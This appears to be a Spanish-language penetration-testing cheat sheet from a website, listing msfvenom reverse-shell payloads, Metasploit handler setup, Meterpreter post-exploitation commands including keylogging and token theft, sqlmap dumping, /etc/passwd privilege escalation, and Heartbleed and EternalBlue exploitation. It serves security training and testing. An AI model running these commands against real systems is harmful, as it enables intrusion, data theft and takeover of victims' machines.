↩️ VOLVER ATRÁS si descartamos el uso del Exploit seleccionado :
back

💥 EJECUTAR Exploit:
exploit

💀 MSFVENOM - METERPRETER

Msfvenom es una herramienta poderosa incluida en el framework Metasploit que se utiliza para generar payloads (cargas útiles) y codificarlos de varias maneras. Es particularmente útil para crear binarios que puedan ser utilizados para explotar sistemas y obtener una sesión de Meterpreter.

Msfvenom combina las funcionalidades de los comandos
msfpayload y msfencode en una sola herramienta. Con msfvenom, puedes crear payloads personalizados que pueden ser ejecutados en el sistema objetivo para establecer una conexión de Meterpreter.

 
> PARA USAR CON METASPLOIT

Generar Payload Meterpreter (archivo que se debe ejecutar en el equipo remoto, sabiendo que es Windows):
msfvenom -p windows/meterpreter/reverse_tcp LHOST=[IP_equipo_local] LPORT=[puerto] -f exe -o rev.exe

Generar Payload Meterpreter (archivo que se debe ejecutar en el equipo remoto, si es un Windows de 64 bits):
msfvenom -p windows/x64/meterpreter/reverse_tcp --platform windows -a x64 LHOST=[IP_equipo_local] LPORT=[puerto] -f exe rev.exe

Generar Payload Meterpreter (archivo que se debe ejecutar en el equipo remoto, si es un Linux):
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=[IP_equipo_local] LPORT=[puerto] -f elf -o rev.elf

Generar Payload Meterpreter encapsulado en PHP (archivo que se debe ejecutar en el servidor remoto):
msfvenom -p php/meterpreter/reverse_tcp LHOST=[IP_equipo_local] LPORT=[puerto] -f raw > rev.php


PARÁMETROS BÁSICOS de MSFVENOM:
-p [payload]                          (Especificar el payload a utilizar. Ej: windows/meterpreter/reverse_tcp)
-f [formato]                          (Define formato de archivo de salida. Ej: exe, sh, py)
-o [nombre_archivo]            (Define nombre de archivo de salida)
-e [encoder]                          (Codifica el payload utilizando un encoder específico. Ej: x86/shikata_ga_nai)
-i []                                      (Define el número de iteraciones para la codificación)
-b [bytes]                              (Excluye bytes específicos del payload. Ej:'\x00\xff' para excluir bytes nulos y xFF)
-a [x86_x64]                         (Especificar arquitectura del payload)
-s [bytes]                               (Tamaño máximo del payload en bytes. Ej: 300)
-n []                                    (Define número de NOP sleds a agregar. Ej: 16)
-x [stager]                             (Especifica un ejecutable existente para la inyección de payload. Ej: /path/existing.exe)
-k [dispositivo]                     (Mantiene el comportamiento del ejecutable original, para -x)
-l [elementos]                      (Listar elementos. Ej: payloads, encoders, nops y formats)
--platform [SO]                    (Especificar la plataforma objetivo. Ej: windows, linux, cisco, solaris, android, unix, java, firefox, hardware...)
--help                                       (Muestra la ayuda y opciones disponibles)

Una vez que el payload ha sido generado, se debe transferir el archivo al sistema objetivo y ejecutarlo. Una vez ejecutado, se podrá obtener una sesión de Meterpreter desde Metasploit (a modo de listener):

Iniciar Metasploit:
msfconsole
 
Indicar uso de payload genérico de reverse shell Meterpreter:
use exploit/multi/handler

Configurar STAGED payload (Windows 64 bits) Meterpreter:
set payload windows/x64/meterpreter/reverse_tcp

Configurar NON-STAGED payload (Windows 64 bits) Meterpreter:
set payload windows/x64/meterpreter_reverse_tcp

Configurar LHOST (IP del equipo local para recibir la sesión Meterpreter):
set LHOST [IP_equipo_local]

Configurar LPORT (Puerto del equipo local por el que recibir la sesión Meterpreter):
set LPORT [puerto]

Comprobar estado de la configuración:
show options
 
Ejecutar el Payload ya configurado, y obtener la sesión Meterpreter:
run
 
> PARA USAR SIN METASPLOIT

Generar Payload Meterpreter (archivo que se debe ejecutar en el equipo remoto, siendo este Windows):
msfvenom -p windows/x64/shell_reverse_tcp LHOST=[IP_equipo_local] LPORT=[puerto] -f exe -o rev.exe
 
Generar Payload para Metas (archivo que se debe ejecutar en el equipo remoto, siendo este Windows de 64 bits):
msfvenom -p windows/x64/shell_reverse_tcp --platform windows -a x64 LHOST=[IP_equipo_local] LPORT=[puerto] -f exe rev.exe
 
Generar Payload Meterpreter (archivo que se debe ejecutar en el equipo remoto, si es un Linux):

msfvenom -p linux/x86/shell_reverse_tcp LHOST=[IP_equipo_local] LPORT=[puerto] -f elf -o rev.elf

 

Generar Payload Meterpreter encapsulado en PHP (archivo que se debe ejecutar en el servidor remoto):

msfvenom -p php/shell_reverse_tcp LHOST=[IP_equipo_local] LPORT=[puerto] -f raw > rev.php

 
PARÁMETROS BÁSICOS de MSFVENOM:
-p [payload]                          (Especificar el payload a utilizar. Ej: windows/meterpreter/reverse_tcp)
-f [formato]                          (Define formato de archivo de salida. Ej: exe, sh, py)
-o [nombre_archivo]            (Define nombre de archivo de salida)
-e [encoder]                          (Codifica el payload utilizando un encoder específico. Ej: x86/shikata_ga_nai)
-i []                                      (Define el número de iteraciones para la codificación)
-b [bytes]                              (Excluye bytes específicos del payload. Ej:'\x00\xff' para excluir bytes nulos y xFF)
-a [x86_x64]                         (Especificar arquitectura del payload)
-s [bytes]                               (Tamaño máximo del payload en bytes. Ej: 300)
-n []                                    (Define número de NOP sleds a agregar. Ej: 16)
-x [stager]                             (Especifica un ejecutable existente para la inyección de payload. Ej: /path/existing.exe)
-k [dispositivo]                     (Mantiene el comportamiento del ejecutable original, para -x)
-l [elementos]                      (Listar elementos. Ej: payloads, encoders, nops y formats)
--platform [SO]                    (Especificar la plataforma objetivo. Ej: windows, linux, cisco, solaris, android, unix, java, firefox, hardware...)
--help                                       (Muestra la ayuda y opciones disponibles)
 
Una vez que el payload ha sido generado y el listener configurado, se debe transferir el archivo al sistema objetivo y ejecutarlo. Al ejecutarlo se obtendrá una sesión de Meterpreter por terminal en modo listener:
 
Recordatorio de como configurar una terminal como listener:
nc -nlvp [puerto]
ncat -nlvp [puerto]

 

rlwrap nc -nlvp [puerto]

rlwrap ncat -nlvp [puerto]
 
_____________________________________________________________________________________________

Después de obtener la sesión de Meterpreter, se pueden utilizar varios comandos útiles para la post-explotación:

sysinfo                                                                     (Muestra información del sistema comprometido)
ls                                                                                (Listar archivos y directorios)
cd [ruta]                                                                  (Cambiar directorio)
getuid                                                                      (Muestra el usuario bajo el cual se está ejecutando Meterpreter)
pwd                                                                          (Muestra el directorio de trabajo actual)
shell                                                                          (Abre una shell del sistema en la máquina objetivo)
download [ruta/archivo]                                    (Descarga archivos desde el sistema comprometido)
upload [ruta/archivo]                                          (Sube archivos al sistema comprometido)
rm [ruta/archivo]                                                  (Borrar archivo del sistema comprometido)
ps                                                                               (Mostrar procesos del sistema)
kill [PID]                                                                    (Terminal proceso por su identificador)
screenshot                                                              (Toma una captura de pantalla del sistema objetivo)
screenshare                                                             (Visualizar pantalla en tiempo real)
keyscan_start                                                         (Inicia el registro de teclas)
keyscan_stop                                                         (Detiene el registro de teclas)
keyscan_dump                                                       (Muestra las teclas registradas)
background                                                             (Enviar la sesión de Meterpreter al fondo)
load [extensión]                                                     (Carga una extensión de Meterpreter)
execute -f [comando] -a [argumentos]          (Ejecutar comando en sistema comprometido)
getpriv                                                                       (Intenta obtener todos los privilegios disponibles)
steal_token [PID]                                                   (Roba el token del proceso especificado)
drop_token [PID]                                                   (Suelta el token robado)
reboot                                                                       (Reiniciar el sistema comprometido. Se perderá la sesión)
shutdown                                                                (Apagar el sistema comprometido. Se perderá la sesión)
help                                                                            (Muestra la ayuda y una lista de todos los comandos)

msfvenom

💉 SQLMAP

SQLMap es una herramienta de código abierto utilizada por pentesters para automatizar la detección y explotación de vulnerabilidades de inyección SQL en aplicaciones web. Su propósito principal es identificar y explotar inyecciones SQL de manera eficiente, soportando varias técnicas como inyección basada en errores, en tiempo, y UNION, entre otras. SQLMap permite a los pentesters extraer información sensible como nombres de bases de datos, tablas, y registros, además de ejecutar comandos en el sistema operativo subyacente si se tienen los privilegios adecuados.

El uso básico de SQLMap implica especificar la
URL del objetivo con el parámetro -u, y luego emplear otros parámetros clave como --dbs para listar bases de datos, --tables para enumerar tablas en una base de datos específica, y --dump para extraer datos de una tabla. Además, SQLMap ofrece la posibilidad de evadir firewalls de aplicaciones web (WAFs) y anonimizar el tráfico a través de la red TOR utilizando el parámetro --tor. Es importante que los pentesters utilicen SQLMap de manera ética, asegurándose de tener autorización explícita para realizar pruebas de seguridad, ya que la explotación no autorizada puede llevar a consecuencias legales graves.


Enumeración de Bases de Datos:
sqlmap -u "http://example.com/vulnerable.php?id=1" --dbs

Listar Tablas de una Base de Datos específica:
sqlmap -u "http://example.com/vulnerable.php?id=1" -D [nombre_base_de_datos] --tables

Extraer Datos de una Tabla específica en una base da datos conocida:
sqlmap -u "http://example.com/vulnerable.php?id=1" -D [nombre_base_de_datos] -T [nombre_tabla] --dump
 

PARÁMETROS:
-u [URL]                                                   (Especificar la URL objetivo)
--dbs                                                         (Enumerar todas bases de datos)
--tables                                                    (Enumerar todas las tablas de una base de datos)
--columns                                               (Enumerar todas las columnas de una tabla)
-r [archivo.req]                                      (Usar un archivo .req que contenga una petición HTML capturada con Burpsuite)
-D [nombre_base_de_datos]          (Especificar el nombre de la base de datos)
-T [nombre_tabla]                               (Especificar el nombre de una tabla)
-C [nombre_columna]                        (Especificar el nombre de una columna o columnas, separadas por ",")
-p [parámetro]                                      (Especificar parámetro de inyección del archivo .req)
--batch                                                     (Evita las preguntas que tira la aplicación por defecto. Agiliza el proceso)
--dump                                                     (Extrae los datos especificados en la línea)
--tor                                                          (Usa la red TOR para anonimizar el tráfico)
--level                                                       (Ajusta el nivel de agresividad y el riesgo de las pruebas)
--risk                                                         (Ajusta el nivel de agresividad y el riesgo de las pruebas)
 
-------------------------------------------------------------------------------------------------------------------------------------------------------

BONUS:
Mediante
BurpSuite, con la función de INTERCEPT (is on) usando un PROXY (FoxyProxy por ejemplo), al hacer y registrar una petición HTML, si la copiamos y guardamos en un archivo ".req" (copy to file), éste puede ser usado con SQLMAP para facilitar y/o ampliar la cadena de ataque.

EJEMPLO DE PETICIÓN HTML CAPTURADA:

POST /searchproducts.php HTTP/1.1
Host: localhost:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
Origin: http://localhost:8000
Connection: close
Referer: http://localhost:8000/searchproducts.php
Cookie: PHPSESSID=462fde01e3b03fac2933acbcd8c776c6
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

searchitem=test


Pasar el archivo ".req" por SQLMAP y que, usando el parámetro de inyección "searchitem" busque las bases de datos existentes:
sqlmap -r peticion.req -p searchitem --dbs --batch

sqlmap

🔷 NESSUS

Nessus es una herramienta de evaluación de vulnerabilidades (de pago con un trial de 7 días) muy utilizada que ayuda a identificarlas rápidamente y con precisión, así como problemas de configuración y malware en entornos físicos, virtuales y en la nube.

Nessus contribuye a tener un repertorio de pruebas de penetración más completo. Nessus puede:


- Identificar vulnerabilidades locales y remotas.
- Realizar auditorías de configuración y cumplimiento.
- Comprobar credenciales predeterminadas.
Escanear aplicaciones web.
- Nessus no soporta enlaces simbólicos para el directorio /opt/nessus/
- El paquete hostname es un requisito para las instalaciones de RPM.
- La instalación puede terminar otros procesos nessusd en ejecución.

Descarga el paquete de instalación de Nessus adecuado para tu sistema Linux desde la página oficial:
🌐
https://www.tenable.com/products/nessus

Instalación:
sudo dpkg -i Nessus-[versión].deb

Reinicia el servicio Nessus:
systemctl start nessusd

Accede al interfaz web de Nessus en:
https://localhost:8834

Crea una cuenta de administrador en https://www.tenable.com/products/nessus

Activa Nessus con el código de activación proporcionado por Tenable

Permite que Nessus descargue y procese los plugins 


USO BÁSICO:
-Una vez configurado, se pueden iniciar sesiones en la interfaz web de Nessus.
-Se pueden crear nuevos escaneos seleccionando objetivos, políticas de escaneo, etc.
-Inicia los escaneos y se espera a los resultados.
-Analizar los informes generados para identificar vulnerabilidades.

 

Nessus
openSSL

☑️ OPENSSL (ESCALADA DE PRIVILEGIOS MODIFICANDO CONTRASEÑA)

OpenSSL puede ser usado en escenarios de escalada de privilegios en sistemas cuando el archivo /etc/passwd es editable

Para el ejemplo, creamos un usuario de prueba "invitado":
sudo useradd -m -d /home/invitado -s /bin/zsh invitado

Definimos una contraseña cualquiera para "invitado":
sudo passwd invitado

Generamos una contraseña encriptada con MD5 que usaremos después para el "invitado" con permisos de root:
openssl passwd -1 -salt mysalt password123
$1$mysalt$hREc3A9Q3vWq/TYxhRgW80


Abrimos el archivo /etc/passwd con Mousepad para editarlo (recordemos, que éste tiene que ser editable):
mousepad /etc/passwd

Reemplazamos la línea del usuario "invitado" con esta otra y guardamos el archivo:
invitado:$1$mysalt$hREc3A9Q3vWq/TYxhRgW80:0:0:root:/root:/bin/bash

Accedemos al usuario "invitado" con la nueva contraseña y bingo, ya somos root:
su invitado
password123

 

💔 VULNERABILIDAD HEARTBLEED

Heartbleed es una vulnerabilidad en la implementación de la extensión Heartbeat del protocolo TLS/DTLS (Transport Layer Security / Datagram Transport Layer Security) en OpenSSL. El problema radica en la función que maneja los mensajes Heartbeat, específicamente en la falta de una validación adecuada del tamaño de la carga útil de estos mensajes.
 
El protocolo Heartbeat permite a un lado de la conexión SSL/TLS enviar un mensaje que incluye una carga útil y un tamaño de carga útil. El otro lado debe responder con el mismo mensaje. El problema en OpenSSL es que no se validaba correctamente que el tamaño de la carga útil coincidiera con el tamaño real de los datos enviados. Un atacante puede enviar un mensaje de Heartbeat malicioso con un tamaño de carga útil mayor que el tamaño real de los datos enviados, lo que provoca que el servidor responda con datos de su memoria que están más allá del tamaño especificado originalmente.

Por ejemplo, si un atacante envía un mensaje de Heartbeat con una carga útil de 1 byte y especifica que el tamaño de la carga útil es de 65,535 bytes.
El servidor responderá con 65,535 bytes de su memoria, incluyendo potencialmente datos sensibles.

 
La gravedad de Heartbleed radica en su capacidad para exponer información crítica sin dejar rastros detectables. Los datos expuestos pueden incluir:

- Claves privadas de certificados SSL/TLS
- Nombres de usuario y contraseñas.
-
Datos personales
- Información confidencial de aplicaciones



DETECTAR vulnerabilidad desde WEB:
🌐 https://www.ssllabs.com/ssltest/index.html

DETECTAR vulnerabilidad con sslscan:
sslscan [url_IP]
 
DETECTAR vulnerabilidad con nmap:
nmap -sV --script ssl-heartbleed -p[puerto] [url_IP]
 
VERIFICAR vulnerabilidad:
git clone https://github.com/irvinlim/heartbleed-masther.git
cd heartbleed-master
python heartbleed.py [url_IP]


EXPLOTAR vulnerabilidad con un archivo .py:
🌐
 https://github.com/vulhub/vulhub/tree/master/openssl/CVE-2014-0160

python3 ssltest.py [url_IP] -p [puerto]
python3 ssltest.py [url_IP] -p [puerto] | grep -v "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"

__________________________________________________________________________________________________________
 
NOTA: Para mitigar y solucionar esta vulnerabilidad se deben seguir los siguientes pasos:
 
1. OpenSSL debe estar actualizado a la última versión:
sudo apt-get update
sudo apt-get upgrade openssl

2. Dado que las claves privadas podrían haber sido comprometidas, se deben generar nuevos certificados SSL/TLS y revocar los antiguos.

3. Tanto administradores como usuarios deben cambiar TODAS sus contraseñas, ya que estas podrían haber sido capturadas durante el período en el que el sistema fue vulnerable.
 

heartbleed
searchsploit

🕷️ SEARCHSPLOIT (BÚSQUEDA DE VULNERABILIDADES)

INSTALAR:
sudo apt install exploitdb

Buscar vulnerabilidades en www.exploit-db.com:
searchsploit [búsqueda]

Ejemplo:
searchsploit wordpress user enumeration
--------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title                                                                                                                                  |   Path
--------------------------------------------------------------------------------------------------- ---------------------------------
WordPress Core < 4.7.1 - Username Enumeration                                                           |   php/webapps/
41497.php  <--- ID
--------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results


Examinar el código de una vulnerabilidad mediante su ID:
searchsploit -x 41497
 

➿ ETERNAL BLUE

EternalBlue es el nombre de una vulnerabilidad en el protocolo Server Message Block (SMB) de Microsoft Windows. Fue explotada por el exploit del mismo nombre desarrollado por la Agencia de Seguridad Nacional de Estados Unidos (NSA) y filtrado por el grupo Shadow Brokers en abril de 2017. EternalBlue aprovecha una falla en la implementación del protocolo SMBv1, que permite la ejecución remota de código en sistemas Windows.

EternalBlue se hizo ampliamente conocido por su uso en los ataques de ransomware
WannaCry y NotPetya en 2017. Estos ataques causaron estragos a nivel mundial, cifrando los datos de miles de sistemas y solicitando rescates en Bitcoin para descifrarlos.

Microsoft lanzó un
parche para esta vulnerabilidad en marzo de 2017 (MS17-010). Es crucial que los sistemas Windows se actualicen con este parche para protegerse contra los ataques que explotan EternalBlue.

DETALLES TÉCNICOS:
La vulnerabilidad reside en la forma en que SMBv1 maneja los paquetes específicamente construidos. Un atacante puede enviar un paquete SMB especialmente diseñado a un sistema objetivo que utiliza este protocolo. La explotación exitosa de esta vulnerabilidad permite a los atacantes ejecutar código arbitrario en el sistema afectado, lo que puede llevar a un control total del mismo.

CVE-2017-0144

ETERNAL BLUE AFECTA A VARIAS VERSIONES DE MICROSOFT WINDOWS:
- Windows XP
- Windows Vista
- Windows 7
- Windows 8.1
- Windows 10
- Windows Server 2003
- Windows Server 2008
- Windows Server 2012
- Windows Server 2016


EXPLOTAR VULNERABILIDAD CON METASPLOIT:

ESCANEO ESPECÍFICO:
nmap -p445 --script smb-vuln-ms17-010 [IP_remota]

ABRIR METASPLOIT, BUSCAR Y EJECUTAR EXPLOIT:
msfconsole
search eternalblue / CVE-2017-0144
use exploit/windows/smb/ms17_010_eternalblue
set RHOST [IP_remota]
set PAYLOAD
windows/x64/meterpreter/reverse_tcp
set LHOST [IP_local]
exploit


 

EternalBlue
bottom of page